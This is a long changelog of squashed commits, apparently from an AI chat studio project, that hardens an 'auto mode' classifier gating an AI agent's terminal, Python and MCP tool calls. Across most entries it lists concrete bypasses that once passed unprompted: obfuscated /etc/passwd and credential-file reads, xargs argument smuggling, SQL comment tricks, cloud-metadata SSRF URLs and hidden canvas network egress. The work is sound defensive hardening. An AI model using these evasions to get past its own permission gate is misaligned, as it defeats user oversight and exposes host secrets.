- A forced ask/auto tool loop (CLI --enable-tools) with no stream now
400s at the pre-switch guard before evicting the resident model,
matching the existing confirm-without-stream rejection.
Adds test_permission_mode_confirm_derivation covering the derivation
truth table.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Declare permission_mode and bypass_permissions on the local chat request type
The previous change moved permission_mode, confirm_tool_calls and
bypass_permissions to the top level of the local chat payload. They had
lived inside a conditional spread, which is not subject to excess
property checking, so the fields were never declared on
OpenAIChatCompletionsRequest. At the top level tsc flagged
permission_mode as unknown (TS2322), failing the frontend build and
every job whose Studio install builds the frontend.
Add permission_mode and bypass_permissions to the request interface
(confirm_tool_calls was already present).
* Close auto-mode classifier gaps from review round 21 for PR #7079
Auto mode ("Approve for me") now asks for these too:
- a pathlib read built from a concrete constructor (PosixPath, WindowsPath
and their Pure* forms), which the folder previously ignored so
PosixPath('/etc') / 'passwd' lost its /etc root and ran unprompted
- a terminal or python read of the ssh host keys under /etc/ssh, which
the sensitive-path regex only covered for passwd/shadow/sudoers
- a read whose path variable is reassigned: the whole-tree pre-scan kept
the last binding, so base = '/etc'; open(base + '/passwd'); base = 'data'
folded to data/passwd and ran even though execution reads /etc/passwd;
any multiply-bound name now folds to the escape sentinel and asks
Also stop the pre-switch guard from rejecting a plain client-tool
passthrough. permission_mode only implies the confirm gate for Studio's
own local tool loop (enable_tools / enabled_tools / mcp_enabled); a
non-streaming client-tool passthrough that carries permission_mode
ask/auto (confirm_tool_calls left unset by the validator) must forward to
the provider branch. Only an explicit confirm_tool_calls=True still forces
the local-confirm rejection there.
Adds regression tests for each case and its safe counterpart.
* Fix permission-pill compaction count and Full-access confirm sync for PR #7079
Two frontend consistency issues in the permission-level UI:
- The composer collapses tool pills to icons above four, but the count
left out the permission pill, which renders in every mode except off.
With one optional pill also shown the row reached five pills without
collapsing and could overflow. Count the pill when it is visible
(permission_mode != off).
- Entering Full access via setPermissionMode('full') or
setBypassPermissions(true) left confirmToolCalls at its previous value,
so a Full-access run (which sends confirm_tool_calls=false) could still
report confirmations as enabled in response metadata. Set
confirmToolCalls false at both entry points.
* Close auto-mode classifier gaps from review round 23 for PR #7079
Auto mode ("Approve for me") now asks for these too:
- a command using an abbreviated GNU long option that reaches a
write/exec action (sort --out= for --output, env --ch= for --chdir,
fd --base-dir= for --base-directory); a prefix of an unsafe long flag
now fails closed
- printf -v NAME, which assigns to a shell variable, so
printf -v PATH %s .; ls can rewrite PATH and run ./ls unprompted
- fd --base-directory / --search-path, which move the search root
outside the session workdir without any positional slash token
- an MCP tool whose compound read name carries a copy-style mutator
(read_and_copy_file, get_and_snapshot_volume): copy, duplicate,
import, export, download, backup, restore, snapshot, mirror
Also treat an omitted permission_mode as its documented default ("ask")
on the Anthropic Messages server-tool path. That branch has no
confirmation channel and already rejects explicit ask/auto, so an
omitted mode now falls into the same rejection instead of silently
running server tools unprompted, unless the caller opted out with
confirm_tool_calls=false (the legacy equivalent of "off"). off/full and
that opt-out still run; the two routing tests that relied on the old
implicit run now set permission_mode="off".
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Refine permission gating from review round 24 for PR #7079
Four fixes from the latest review:
- Anthropic Messages server tools: an omitted permission_mode no longer
rejects a request that only runs safe server tools (web_search), so
existing Anthropic callers keep working. It still rejects an omitted
mode when a local tool (terminal/python) is selected, and an explicit
ask/auto is still rejected outright. off/full and a
confirm_tool_calls=false opt-out always run.
- Pre-switch confirm-without-stream guard: use
_explicit_studio_tool_loop_requested (the same predicate the
passthrough router uses) instead of the policy-inclusive
_effective_enable_tools, so a process --enable-tools policy no longer
turns a client-tool passthrough into a local-loop rejection.
- Auto mode now asks for `uniq INPUT OUTPUT`: uniq writes its second
file positional, so a second positional (numeric flag values skipped)
is treated like `sort -o`. A lone `uniq file` or piped `... | uniq`
stays safe.
- MCP mutation check now strips SQL comments before matching, so
DELETE/**/FROM and UPDATE/**/users (comment-as-whitespace) no longer
slip past the DML/DDL denylist.
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode gaps from review round 25 for PR #7079
Auto mode ("Approve for me") now asks for these Python cases too:
- a bare archive constructor with a write mode (from zipfile import
ZipFile; ZipFile('out.zip', 'w')), tracked through import aliases like
the zipfile.ZipFile attribute call already was
- a dynamic lookup aliased through getattr (g = getattr;
rm = g(os, 'remove'); rm('file')), not just direct getattr(...) calls
- a callable that wraps open or a writer via functools.partial
(w = partial(open, mode='w'); w('out.txt')), which hides the write mode
Also:
- Always-safe tools (render_html) stream their early provisional canvas
card in auto mode again. The provisional-card guard mirrored the raw
confirm flag, which suppressed the early card under Approve-for-me; it
now reuses the auto-mode safety decision (is_always_safe_tool).
- The assistant-ui composer no longer counts the permission pill toward
its collapse threshold when the level is Off (the pill renders null
there), matching the other composer.
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Align permission-mode confirm guards with the router (review round 26)
Three pre-switch confirm-gate checks disagreed with how the tool
loop actually enters, so a valid request could 400 (or an invalid
one could evict the resident model) at the wrong point:
- The /chat/completions pre-switch guard only looked at explicit
request fields, so a process --enable-tools policy that forces the
loop on (request omits enable_tools, no client tools) slipped past
it and only 400ed after _maybe_auto_switch_model had swapped the
model. It now mirrors the router's own loop-entry gate
(_effective_enable_tools or mcp, tool_choice="none" disabling it
unless explicitly asked) while still deferring to client-tool
passthrough, so the policy-forced case is caught before the switch.
- The ChatCompletionRequest full/off fold treated enabled_tools by
itself as a local-loop request and set confirm_tool_calls=True.
The router never starts the loop on enabled_tools alone (it only
filters which tools run), so a non-streaming passthrough carrying
client tools plus enabled_tools 400ed instead of routing verbatim.
The fold now keys off the same enable_tools / mcp_enabled signals.
- The Anthropic /v1/messages unsupported-mode rejection (ask/auto,
or an omitted mode selecting terminal/python) ran inside the
post-switch server-tools block, so an invalid request evicted the
resident model before the 400. It now runs before the auto-switch,
determined from the requested server tools, like the neighboring
malformed- and mixed-tool guards.
Adds regressions for each: a policy-forced non-streaming ask/auto
guard rejection that never reaches the switch, an enabled_tools-only
passthrough that keeps confirm unset, and an Anthropic rejection that
precedes _maybe_auto_switch_model.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 27 for PR #7079
Auto mode ("Approve for me") now asks for these host-mutating or
host-reading cases it previously ran unprompted (the sandbox does not
jail filesystem reads, and terminal commands can change host state):
- Destructured string literals fold into the scanned path now, so
base, leaf = ('/etc', 'passwd'); open(base + '/' + leaf).read()
resolves to /etc/passwd and asks, like the single-assignment form
already did. The tuple/list unpacking branch tracked only aliases to
open; it now also binds literal and folded-path elements.
- pathlib name rewrites fold to the rewritten path:
Path('/etc/x').with_name('passwd').read_text() (and with_stem /
with_suffix) spell no literal /etc/passwd but resolve to it, so they
are folded and caught. Benign in-sandbox rewrites stay safe.
- hostname NAME (or -F/--file, -b/--boot) sets the hostname, so a
positional or a set flag asks; bare hostname and the display flags
(-f/-i/-I/...) stay read-only.
- date -s/--set STRING and the bare MMDDhhmm... positional set the
system clock and now ask; the display forms stay read-only (+FORMAT,
-u/-R, and -d/-r/-f whose following value is skipped so date -d
tomorrow is not mistaken for a clock-setting positional).
Adds regression rows for each gap and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close more auto-mode classifier gaps from review round 28 for PR #7079
Auto mode ("Approve for me") now asks for these cases too:
- Mapping-style %-formatted paths. '/etc/%(f)s' % {'f': 'passwd'} folds
to /etc/passwd and asks; a dynamic value or a non-literal mapping
leaves the NUL marker so /etc/<dynamic> still fails closed. The path
folder previously handled only tuple/scalar % right-hand sides and
returned None for a dict, hiding the sensitive segment.
- A read-named MCP database tool carrying PostgreSQL COPY. COPY ... FROM
bulk-loads a table and COPY ... TO writes a server-side file, so both
are matched as mutating queries like DELETE/UPDATE already were. A
'copy' substring in a column name stays safe (word boundary).
- logging file handlers. logging.FileHandler('out.log', mode='w') (and
the default append mode, RotatingFileHandler/TimedRotatingFileHandler/
WatchedFileHandler, and the bare from-import form) create or truncate
a file like open(..., 'w'), so they are classified as writer calls.
StreamHandler / NullHandler and logging reads stay safe.
Adds regression rows for each gap and its safe counterpart.
* Fix writer aliases, GraphQL mutations, and auto server tools (review round 29)
- Auto-mode Python: an aliased writer or archive constructor is tracked
like the existing open alias, so from numpy import save; s = save;
s('out.npy', arr) (and z = ZipFile; z('a.zip', 'w'), incl. the
destructured forms) ask instead of running the write unprompted. A
benign builtin alias (x = len) stays safe.
- Auto-mode MCP: a read-named tool carrying a GraphQL mutation now asks.
query_graphql {"query": "mutation { deleteIssue(id: 1) }"} matches a
leading mutation keyword (GraphQL uses # comments, so it scans the raw
payload); GraphQL read queries stay safe.
- Anthropic /v1/messages: permission_mode "auto" no longer 400s a
safe-only server-tool selection. auto only needs a confirmation
channel for an unsafe call, so like the omitted default it runs for
web_search / RAG / render and rejects only when a gate-needing local
terminal/python tool is selected. ask still always rejects (it asks
per call, which this passthrough cannot honor). The rejection stays
ahead of the model auto-switch.
Adds regression rows/cases for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate asyncio spawn, net clients, default-captured open; allow safe-only auto (round 30)
Auto-mode Python now asks for more process/network/write vectors:
- asyncio process spawners (asyncio.create_subprocess_exec/shell and a
loop's subprocess_exec/shell) run an arbitrary program without the
terminal blocklist, so they gate like os.system/subprocess.
- stdlib network clients imaplib / poplib / nntplib / xmlrpc(.client) /
webbrowser open outbound connections the sandbox does not namespace
off, so their import asks like the other network modules.
- a callable captured as a function or lambda parameter default
(def f(o=open): o('out', 'w')) now binds that parameter into the same
alias set, so the later write through it is gated. A benign default
(o=len) stays safe.
Also, permission_mode "auto" no longer 400s a non-streaming local tool
request whose selection is always-safe-only (web_search / RAG / render).
auto only prompts for a classifier-flagged call, so a safe-only auto
request needs no stream, while ask, an explicit confirm_tool_calls=true,
MCP, and an unrestricted or unsafe selection still require it. Applied
via a shared _confirm_gate_needs_stream helper at the pre-switch, GGUF,
and safetensors confirm-stream guards; the loop's per-call confirm flag
is unchanged.
Adds regression rows/cases for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Catch brace-glob paths and attribute writer aliases; unfold auto (round 31)
- Terminal auto mode now runs the glob-sensitive scan over every
expansion candidate, so a brace-expanded glob (cat /e{t,}c/pass?d,
which bash expands to /etc/pass?d and then globs to /etc/passwd) asks.
Brace expansion alone spells no literal /etc/passwd and the glob only
resolves once the brace group is expanded, so scanning both together
is required. A benign brace + glob stays safe.
- Python auto mode now tracks a mutating attribute captured as a plain
name: s = np.save; s('out.npy', arr) binds a writer alias, a captured
.open bound method (p = Path('out').open; p('w')) fails closed on any
call since its mode position varies, and z = zipfile.ZipFile is gated
like the bare import. A benign attribute alias (x = np.mean) stays safe.
- permission_mode "auto" is no longer folded to confirm_tool_calls=true
on the request model. Folding it defeated the safe-only-selection
exception in _confirm_gate_needs_stream (an explicit confirm forces
stream=true), so a non-streaming safe-only auto request was rejected.
Leaving it unset lets the route apply the exception; the mode still
drives the loop's per-call gate. "ask" still folds (it gates every
call).
Adds regression rows/cases for each.
* Harden SQL/GraphQL/writer classification and passthrough guards (round 32)
MCP argument mutation detection (read-named query tools):
- CREATE DDL now matches modifiers and the broader object set, so
CREATE OR REPLACE VIEW, CREATE UNIQUE INDEX, CREATE TEMP TABLE,
CREATE MATERIALIZED VIEW and CREATE FUNCTION ask.
- Stored-procedure invocation (CALL proc(...), EXEC/EXECUTE) and VACUUM
ask; a natural-language "call me back" stays safe via the trailing
"(" / ";" / end lookahead.
- GraphQL # comments are stripped before the mutation match, so
mutation # note\n { deleteIssue(id: 1) } no longer hides the mutation.
Python auto-mode classification:
- numpy.memmap / open_memmap and pandas ExcelWriter / HDFStore create or
truncate a file on construction, so they gate like open(..., "w").
- asyncio networking (asyncio.open_connection, loop.create_connection /
create_server and unix variants) opens outbound connections/listeners
the sandbox does not isolate, so it gates like socket.connect.
Terminal auto-mode: file -C / --compile writes a compiled magic database.
Routing:
- A JSON-schema response_format is guided-decoding passthrough, not a
local tool loop, so a --enable-tools policy no longer 400s a
non-streaming ask/auto structured-output request at the confirm guard.
- An explicit confirm_tool_calls=False opts out of the Anthropic Messages
server-tool gate entirely (it wins over the mode, mirroring
_permission_mode_confirm and the GGUF path), so it runs even under ask.
Adds regression rows/cases for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Track path-ctor aliases, exempt empty selection and safe safetensors card (round 33)
- Python auto mode now propagates path constructor / join aliases, so
assigning Path or os.path.join to another local name is still folded:
P = Path; (P('/etc') / 'passwd').read_text() and j = os.path.join;
open(j('/etc', 'passwd')) ask, while a benign /tmp alias stays safe.
- _confirm_gate_needs_stream now distinguishes an omitted enabled_tools
(None, all tools) from an explicit empty list ([], no tools). An empty
selection runs no built-in tool and cannot prompt, so a non-streaming
auto request with enable_tools=true, enabled_tools=[] is no longer
400ed under a --enable-tools policy.
- The safetensors provisional render_html card now uses permission_mode:
render_html is always safe and never prompts, so its early canvas card
streams under auto (which ships confirm_tool_calls=true) instead of
being suppressed, matching the GGUF path's is_always_safe_tool exemption.
Adds regression rows/cases for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Extend auto-mode classifier: SQLite mutations, more net/xattr/compressed writers
Additional fail-closed gaps found by a fresh adversarial pass, each with a
reproduction and a benign control:
- MCP read-named tools now ask on SQLite-flavored writes the base DML/DDL regex
missed: ATTACH / DETACH DATABASE, a write-form PRAGMA (PRAGMA journal_mode=WAL
/ user_version=42 / foreign_keys(0), while the read-form PRAGMA journal_mode
stays safe), and load_extension() which loads and runs an arbitrary shared
library.
- Python auto mode now gates the remaining asyncio network entry points
(start_server, open_unix_connection, loop.create_datagram_endpoint,
sock_connect), os.setxattr / os.removexattr metadata writes, the gzip / bz2 /
lzma single-stream writers (GzipFile / BZ2File / LZMAFile, mode-gated like
ZipFile so a read stays safe), pandas to_xml, and the websockets client.
Benign controls (SELECT 1, read-form PRAGMA, asyncio.sleep, gzip read, numpy
read, natural-language "attach"/"analyze") stay safe. Regression rows added to
test_permission_mode.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close follow-up auto-mode gaps: SQLite/GraphQL variants, more writers and net
A fresh adversarial pass on the previous round found consistent extensions of
the same fail-closed rules, each reproduced with a benign control:
- MCP read-named tools: DROP / ALTER now cover the same broad object set as
CREATE (DROP FUNCTION, ALTER INDEX, DROP MATERIALIZED VIEW); ATTACH is caught
without the optional DATABASE keyword via its quoted-path form; a
schema-qualified write PRAGMA (PRAGMA main.user_version=1) is matched; and a
GraphQL mutation carrying directives (mutation M @audit { ... }) is treated as
a mutation.
- Python auto mode: os.startfile (Windows program launch), asyncio
start_unix_server, and the socketserver framework now ask; a gzip/bz2/lzma
open imported under an alias (from gzip import open as gopen) is gated like
builtin open; and a dynamic path prefix that can form a sensitive absolute
root (open(chr(47) + "etc/passwd"), open(os.sep + "etc/passwd")) is treated as
sensitive, while a dynamic prefix with a benign suffix stays safe.
Benign controls (read-form PRAGMA, natural-language "attach ... as", "drop the
idea", SELECT dropped_at, query @cached, gzip read alias, dynamic prefix +
data/file suffix) stay safe. Regression rows added to test_permission_mode.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate GNU time -o, basicConfig/methodcaller/fileinput, and more SQL mutations
Another adversarial pass surfaced further consistent fail-closed gaps, each
reproduced with a benign control:
- Terminal: GNU time -o/--output/-a/--append truncate or append to a file with
timing output; time is a wrapper, so the flag is checked before the wrapped
command like env -C.
- Python auto mode: logging.basicConfig(filename=...) opens a log file for
write; operator.methodcaller("write_text"/...) hides a writer method behind a
string and is now treated as dynamic dispatch (like getattr/partial);
fileinput.input(..., inplace=True) rewrites a file in place (the default read
form stays safe).
- MCP read-named tools: UPDATE now matches quoted, bracketed, and
schema-qualified targets (UPDATE "users" / public.users / ONLY public.users /
[users] / `users` SET); SELECT ... INTO OUTFILE/DUMPFILE writes a server file;
and state-changing SQL functions inside a SELECT (pg_terminate_backend,
setval, pg_write_file, lo_export, ...) ask.
Benign controls (time ls / time -p, basicConfig(level=), methodcaller("upper"),
fileinput read, NL "update ... set", setval_col column, PL/pgSQL SELECT INTO
var) stay safe. Regression rows added to test_permission_mode.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten auto-mode classifier comments
Collapse the multi-line rationale blocks in the permission classifier to one or
two lines each without dropping the exploit each branch closes. Comments and
whitespace only (no code change); the classifier tests are unchanged and pass.
* Retry transient SSE stalls in the tool-calling smoke probes
The tool-calling job flaked with a bare "TimeoutError: timed out": the
server-side python/bash probes stream over post_sse(), which (unlike
post()) had no transport-level retry, so a single stalled stream on a
shared CI runner hard-failed the whole step even though function calling
had already passed.
post_sse() now mirrors post(): a transport-level stall (stream open or a
mid-stream read timing out) is retried once with a fresh request capped
at 300s, while HTTP status errors still surface immediately. The
Linux _run_tool_probe caps each attempt at 360s and treats a stall that
outlives the retry as a failed attempt (rotate to the next seed) instead
of raising, and the web_search probe uses the same 360s cap. A genuine
server wedge still fails (the retry also times out), so real regressions
are not masked. Applied to the Linux, macOS, and Windows inference-smoke
workflows, which share the probe.
* Close five more auto-mode classifier gaps from review
Each reproduces with a benign control:
- Path constructor aliased through an attribute (P = pathlib.Path) now folds
like the bare-name alias, so (P('/etc') / 'passwd').read_text() asks while a
/tmp alias stays safe.
- Callable defaults that are not plain names now bind the parameter: an
attribute writer (def f(s=np.save)), an archive constructor, a captured .open,
and partial(open, mode='w') fold like the equivalent assignment; a benign
default (np.mean) does not.
- A dynamic piece inside a sensitive name (open('/et' + chr(99) + '/passwd'),
which folds to '/et\x00/passwd') now asks: the literals around each dynamic
segment are matched against a credential target with the segment as any run of
non-separator chars, so an all-dynamic ('1 + 1') or segment-spanning
(a + '/' + b) path stays safe.
- MCP read-named tools now ask on REFRESH MATERIALIZED VIEW and REINDEX; a
'refresh' column or natural-language 'refresh' stays safe.
- A writer/open alias handed to a higher-order invoker (map(open, names, modes),
starmap(np.save, ...)) is gated even without a direct call site; a benign
map(len, ...) is unaffected.
Regression rows added to test_permission_mode.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Default tool pills off on model load so tool execution is opt-in
resolveToolsEnabledOnLoad turned the web-search and code pills on for
any tool-capable model when the user had expressed no preference. Default
them off instead, so tool execution is enabled only when the person
clicks the pill to turn it on; a saved preference (on or off) is still
honoured, so a user who already enabled tools keeps them on.
* Gate mark/subscribe MCP verbs and qualified higher-order writer invokers
- A read-prefixed MCP tool name carrying mark / subscribe / unsubscribe
(get_and_mark_read, get_and_subscribe) now asks; a 'mark' substring inside
one token (list_bookmarks) stays safe.
- The higher-order writer check now also fires for a qualified invoker
(itertools.starmap(open, ...), functools.reduce(open, ...)), matching the
bare-name map/filter form; the writer-check on the first arg keeps a benign
itertools.starmap(len, ...) or itertools.chain(...) safe.
Regression rows added to test_permission_mode.py.
* Close more auto-mode gaps and align the ask confirm fold across paths
Each classifier change reproduces with a benign control:
- MCP read-named tools now ask on reply / notify verbs (get_and_reply_email,
list_and_notify_users), on catalog writes COMMENT ON / SECURITY LABEL / LOCK
TABLE and CREATE|DROP|ALTER POLICY, and on state-changing PostgreSQL functions
inside a read-shaped SELECT (nextval, set_config, pg_notify, the advisory-lock
family). A 'comment' column, a 'locks' table, and a 'nextval' column prefix
stay safe; the natural-language NOTIFY/SET ROLE statement forms are left out
because SET/NOTIFY overlap ordinary prose.
- Python auto mode now gates loader.exec_module (runs a module's code), archive
extractall (zip-slip file writes), the ensurepip / venv modules (install pip /
build an environment), and pydoc.writedoc. The Hugging Face login token
(~/.cache/huggingface/token and stored_tokens) is now a sensitive path, while
the rest of that cache (model data) stays readable.
- ChatCompletionRequest no longer overwrites an explicit confirm_tool_calls=false
when permission_mode='ask': the fold only self-enables the gate when the flag
is unset, so an explicit opt-out wins on the chat path exactly as it already
does via _permission_mode_confirm and the Anthropic pre-switch guard.
Regression rows added to test_permission_mode.py.
* Gate sort -T, xxd outfile positional, and the legacy HF token path
- sort -T / --temporary-directory writes spill files to a caller-chosen dir,
so it joins -o / --output in sort's unsafe-flag set.
- xxd [infile [outfile]] writes its second positional, like uniq; xxd now uses
the same second-positional-write handling (xxd in.bin out.hex asks, xxd
in.bin and xxd -c 16 in.bin stay read-only).
- The sensitive-path regex now also covers the legacy ~/.huggingface/token
location (optional leading dot), not just ~/.cache/huggingface/token; an
unrelated dir like myhuggingface/token stays safe.
Regression rows added to test_permission_mode.py.
* Catch multi-char SQL mutation targets, globbed credential names, digit outfiles
Three fail-open gaps in the auto-mode classifier, each with a benign control:
- SQL: the trailing word boundary on the MCP mutation regex meant a bare \w
stopped at the first character, so TRUNCATE users, GRANT SELECT ON t, and
REVOKE ALL ON t (multi-character names) slipped through while single-letter
targets matched. Match the whole identifier instead, and accept an explicit
AS alias on UPDATE (UPDATE users AS u SET). The implicit-alias form is left
out because it is indistinguishable from the prose "update <noun> <noun> set".
A truncate_log column and a grants table stay safe.
- A glob that resolves to a credential basename anywhere (cat ~/.huggingface/tok?n
-> token, cat proj/.netr? -> .netrc, cat repo/.aws/cred*) now asks; the fixed
target list only covered a handful of home paths. notes/dra?t.txt and
token_counts.tx? stay safe.
- uniq / xxd counted file positionals but skipped every numeric token to ignore
a flag value, so a file literally named with digits (uniq 123 out) hid the
output positional. Track each command's value-taking flags and consume only
the value, so uniq -f 2 in stays safe while uniq 123 out asks.
Regression rows added to test_permission_mode.py.
* Isolate the permission-mode loop tests from process-global state
The loop-driving tests (auto/off/full/bypass) drove run_safetensors_tool_loop
against a process-global approval registry (state.tool_approvals._pending)
keyed by a single shared session id, and read os.environ. Other backend test
modules mutate both, some at import time, so in the full-suite ordering a stale
pending approval or a leaked env var could make the loop deny or skip a call
these tests expect to run. It passed when the file ran alone but failed only in
the complete tests/ run on CI.
Add an autouse fixture that snapshots and restores os.environ and the approval
registry around each test, and give every _drive call a unique session id so a
leaked approval can never collide. Attach a compact event-stream dump to the
loop assertions so any residual full-suite-only failure reports what the loop
actually did instead of a bare diff.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden auto-mode classifier for recursive listers, sort file lists, aliased invokers, single-member extract
Close four fail-open gaps in is_potentially_unsafe_tool_call:
- terminal: tree/du (always recursive) and ls -R rooted at an absolute or
tilde path now ask, matching the existing grep/rg/find recursive-read gate;
relative walks stay safe.
- terminal: sort --files0-from=F reads the file list named in F, so it can
read arbitrary host files indirectly; added to sort's unsafe flags.
- python: track aliases of the higher-order invokers (m = map;
from itertools import starmap as sm) so an aliased invoker handed open/a
writer is still gated; a benign callable (map(len, ...)) stays safe.
- python: single-member archive extract (ZipFile/TarFile.extract) writes to
disk like extractall and is vulnerable to a crafted member path, so gate it.
Also update the stale _FakeExecuteTool in test_permission_mode.py to accept
the thread_id keyword that run_safetensors_tool_loop now forwards to
execute_tool after the main merge, which had broken the five tool-loop tests.
Adds regression rows covering each gap plus benign controls.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: normalize unknown permission_mode to 'ask' instead of a 422
The request models validated permission_mode with Literal[ask, auto, off,
full], so an unrecognized value from a newer UI/client was rejected with a 422
before the tool loops could apply their unknown -> ask fallback
(safetensors_agentic.py:464, llama_cpp.py:9001). That made the intended
forward-compat degradation unreachable at the API boundary for both Chat
Completions and the analogous Anthropic field.
Accept a plain string on both ChatCompletionRequest and AnthropicMessagesRequest
and normalize in a before-validator: None stays unset, the four known modes pass
through, and any other value degrades to the safest gate ('ask'), matching the
loops. Adds a regression test covering unknown/None/known across both models.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: close five more auto-mode classifier gaps
- terminal: xargs is no longer a safe wrapper. It appends arguments read from
stdin that the scan never sees, so `echo -o out /etc/passwd | xargs sort`
forwards to `sort -o out /etc/passwd` (a write + sensitive read) while only
the allow-listed literals are visible. Any xargs command now asks.
- terminal: ionice -p/-P/-u change the I/O priority of an already running
process / group / user instead of forwarding to a wrapped read-only command,
so `ionice -c 3 -p <pid>` now asks. ionice -c 3 <cmd> stays safe.
- MCP: gate ALTER SYSTEM, which persists PostgreSQL server configuration and was
not one of the DDL objects the mutation detector matched.
- MCP: a credential noun in a read-named tool (read_secret, list_tokens,
get_credentials, fetch_api_key) is a sensitive disclosure, so it asks even
without a mutating verb or a path/SQL argument. Scoped *_key nouns keep a
primary_key / keyboard lookup safe.
- render_html: no longer unconditionally safe. A static canvas still auto-runs,
but one whose HTML/JS reaches the network (fetch/WebSocket/remote script) asks,
since it can egress under the canvas CSP when artifact network access is on.
Its early provisional card is suppressed under the auto confirm gate, and the
confirm-without-stream guard now requires a stream when render_html is
selectable.
Adds regression rows and benign controls for each, and updates the render_html
provisional-card and confirm-gate tests to the new behavior.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: extend auto-mode gates for indirect file lists, dynamic lookups, HTML network loads, and Anthropic render_html
Follow-ups on the previous classifier round:
- terminal: wc/du/find --files0-from (and find's -files0-from primary) read a
NUL-separated list of input paths from a file, the same indirect mechanism as
sort --files0-from, so a crafted list reads arbitrary host files past the
literal path/root checks. Gate them like sort.
- python: a namespace lookup through a dict-style call (f =
__builtins__.__dict__.get('open'), globals().get('open'), vars(x).get(...))
can return open/eval/a mutator, so poison the bound name like getattr/subscript
lookups already are. An ordinary dict .get or os.environ.get stays safe.
- render_html: broaden the network detector so a canvas that loads a resource
via CSS url()/@import, srcset, or a root-relative (/path) or protocol-relative
(//host) src/href is treated as networked, not just fetch/WebSocket/remote
script. Relative ./x and url(#id)/data: refs stay static/safe.
- Anthropic /v1/messages: drop render_html from the unprompted-safe server-tool
set. Since it can prompt (networked canvas) and this channel invokes the loop
without confirm, selecting it under ask/auto/omitted now rejects like
terminal/python; off/full (or an explicit confirm opt-out) run it.
Adds regression rows and benign controls for each, plus an Anthropic route test.
* Studio: close six more auto-mode classifier gaps
- terminal: a glob that expands to a project .env (cat .e?v) now asks; .env
joins the sensitive glob-basename set, matching the literal-path gate.
- python: an open bound onto an attribute (box.f = open; box.f('out','w'))
is tracked by attribute name, and open invoked via .__call__
(open.__call__('out','w'), unwrapped to the underlying callable) is gated,
so neither slips past the name-based open-alias checks. Benign attribute
callables and .__call__ on non-writers stay safe.
- python: a namespace lookup via .get/.pop/.setdefault already covered the
builtins case; unchanged here.
- MCP: a mutating HTTP verb in a method/verb argument (get_url
{"method": "DELETE"|"POST"|"PUT"|"PATCH"}) now asks, so a generic HTTP
tool cannot mutate an external service unprompted; GET/HEAD stay safe.
- MCP: a credential/secret environment-variable value (get_env
{"name": "OPENAI_API_KEY"}) is treated as a sensitive read via the same
credential-noun match used for tool names; PATH/HOME stay safe.
- render_html: self-navigation sinks (location.assign/replace, window.open,
assigning a URL to (window.)location(.href)) join the network detector, so a
canvas that navigates itself to an external URL asks; location.reload() /
history.back() stay static.
Adds regression rows and benign controls for each.
* Studio: gate obfuscated canvas egress, sensitive-dir iteration, and MCP metadata-host reads
- render_html: strip block comments before the network scan so fetch/*x*/(...)
cannot hide egress, and match bracket-access forms (window['fetch'](...),
self['open'](...)). Line // comments are left alone so the // in an https URL
is not eaten. A comment-only canvas stays static.
- python: enumerating a directory outside the sandbox (Path('/etc').iterdir(),
os.scandir('/etc'), os.listdir('/home'), os.walk('/')) reads host filenames
the direct /etc/passwd checks would prompt for, so gate it when the target dir
folds to an absolute/tilde/sensitive path; a relative dir stays safe and an
unresolved dynamic dir is left to other checks.
- MCP: a read-named HTTP tool pointed at a cloud-metadata / link-local host
(fetch_url {"url": "http://169.254.169.254/..."}, metadata.google.internal)
reads instance credentials, so classify those URL arguments as sensitive,
mirroring the sandbox SSRF blocklist; ordinary and localhost URLs stay safe.
Adds regression rows and benign controls for each.
* Studio: gate meta-refresh navigation, pandas HTML/markdown exporters, absolute glob roots, and checksum verify mode
* Studio: gate starred open writes, builtins.__import__, computed render_html sinks, and procfs fd reads in auto mode
* Studio: gate remote worker canvases, huggingface_hub downloads, and write callables passed to user helpers in auto mode
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: persistent stdio MCP sessions so server state survives across tool calls
call_tool_sync spawned a fresh stdio subprocess per tool call
(keep_alive=False) and tore it down when the call returned, so any stateful
MCP server lost its state between calls: with @playwright/mcp,
browser_navigate opened the page in one subprocess and
browser_take_screenshot ran in a brand-new one, screenshotting about:blank.
Keep one connected client per (command, env) on a dedicated event-loop
thread and reuse it across calls:
- idle sessions are reaped after 5 minutes (in-flight calls excluded) and
everything closes at exit, preserving the old design's no-orphans property
- a dead subprocess is detected via is_connected() and retried once on a
fresh session; tool-level errors leave the session alone
- cancel and timeout semantics are unchanged, and a timed-out call does not
tear the session down
- updating a server's endpoint/env/enabled state or deleting it closes its
live session
- HTTP/SSE servers stay one-shot per call
* address review feedback
* fix stdio session cleanup
